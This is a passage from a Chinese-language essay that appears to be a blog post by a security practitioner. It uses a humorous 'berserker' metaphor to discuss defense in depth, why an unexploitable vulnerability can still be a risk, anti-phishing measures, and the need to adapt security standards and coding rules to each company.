在一定程度上，是可以容忍风险的存在的，但是从长期来看，这种做法是非常不可取的。比如有的管理员会说防火墙只允许80端口，那么RPC漏洞或开其他端口的应用漏洞是否就可以不补了。也许一时来说是没什么问题，但是如果放置不管将导致没有人来维护漏洞，也许哪天的防火墙策略变更，或者来自内部系统的威胁，都有可能导致当时看起来无害的漏洞被利用。而这种做法的一个后果往往是难以检查原因，就是说咋死的都不知道。所以这又回到了开始的话题：安全是一个持续的过程。

在灌输完深度防御的思想给程序员以后，狂战士又被另外一种程序员打击到崩溃了。面对满目都是红色的扫描报告，他们说:我这个xxx ftp没漏洞，除非狂战士可以证明黑客能搞进来拿到shell。一般狂战士听到这种要求，狂化的概率在80%以上。首先，不是只有能拿到shell的才叫漏洞。一个dos可能会造成业务的中断，一个infomation leak可能会为后续攻击带来便利，等等。

面对scan report以及CVE查询出来的漏洞，大部分都是没有现成的exp能够利用的，而且要利用漏洞可能有各种苛刻的条件，比如要求本地交互shell啊，或者要求有帐户之类。而更多的时候，漏洞根本连细节的都没有，只有一个漏洞公告里一个简单的划分critical，标红。就算有exp，可能还要考虑到 exp的稳定性和成功率、语言版本啥的，打过去也不一定能成功。更何况狂战士无法处心积虑了为了POC给程序员看，而花费大量的精力来追求一个可能没有结果的漏洞。

但是无法POC不代表就没有风险了。我们的目标是要保证一个系统长期的在任何情况下都能安全运行，机密数据不会外泄，业务不会中断。所以这种程序员犯的错误就是偷换了概念，把威胁范围缩小了，用个体来代替全局。很多时候威胁可能来自内部，可能来自误操作，可能来自其他的风险。要说服这种程序员很辛苦，只能够靠长期的“忽悠”，来慢慢感化他们，要是运气好还能做出一两个POC来震撼下他们，刘震撼(ZhenHan.Liu)就是为此而生的。佛曰：我不下地狱谁下地狱。

作为一个优秀的狂战士，往往要有相当程度的mission impossible的修为。很多时候，需要为浏览器漏洞、操作系统漏洞擦屁股，不然最后吃亏的还是自己的用户。面对钓鱼和诈骗，很多时候那些认为web 安全是“奇技淫巧”狂战士们认为解决方案是impossible的，认为no patch for stupid。比如phishing，诚然，如果有一个一劳永逸的方案，那么这种完美魔法要是放出来了绝对可以获得圣阶魔导师的称号。但是YY归YY，现实归现实。狂战士们很头疼这种问题，但是却不得不去面对它。

魔法最终还是放出来了，可惜不完美。目前anti-phishing的魔法，有整到浏览器里内置对抗的(IE7/8)，也有浏览器toolbar、扩展的，有在IM里做过滤的，还有穷举malicious sites的，更有发动人民战争来维护一个blacklist的，其难度和成本从低到高什么都有，不过基本都无法一次性解决问题。比较有创意的魔法属于 yahoo发明的sign seal，基于认证机器的原理来识别真实网站，不过这个方法的缺陷在于需要长期教育用户，实际使用效果不一定好。yahoo还整了个domainkey技术来在邮件里对抗phishing，不过这个缺陷更明显，需要邮件服务商支持。yahoo的狂战士挺有想法的，就是太理想化了一点。

说到安全世界的另外一股强大力量不能不提教廷，这个宗教从精神上统治了安全世界，一群群红衣主教们整出来了一堆标准、规范比如BS7799之类来帮助狂战士们更好的忽悠他们的BOSS。其实标准是死的，主教们的出发点是好的，不过这些标准啥的就和秘籍差不多，狂战士们以为他们读明白了，其实很少人真正读懂了。那玩意如果拿来忽悠BOSS们确实是一套套的，但用在实处则有一个本地化的过程。必须要把标准之类的东西和实际情况结合起来，不然就只能停留在忽悠的层面上。

最能体现问题的出在编码规范上。可能有N个权威的机构都出了他们自己的code规范，或者某些狂战士佣兵团（安全公司）也自己整了套。不过在具体使用的时候，很多狂战士都是拿了一套去用在所有的公司身上，其实这样的结果就是到最后没有程序员遵守用那玩意，因为在实际情况中往往不好用。每个公司都有自己的体系、环境和编码习惯。系统的designer和architect只要不是小白一般都或多或少的会考虑点安全风险，规范只有本地化以后才能很好的用起来，不然绝对会水土不服。所以要是再遇到什么安全公司拿标准、规范来忽悠的时候，狂战士们就要睁亮了眼睛了！

胡侃瞎吹了这么多其实也没说到重点，不过重点已经不是本文要讲的事情了，想要讲的东西还有很多，也许以后会陆续写出来。狂战士是份很好的职业，希望有更多的狂战士甚至是半兽人朋友能够加入我所在的狂战士佣兵团！

.
axis
axis@ph4nt0m.org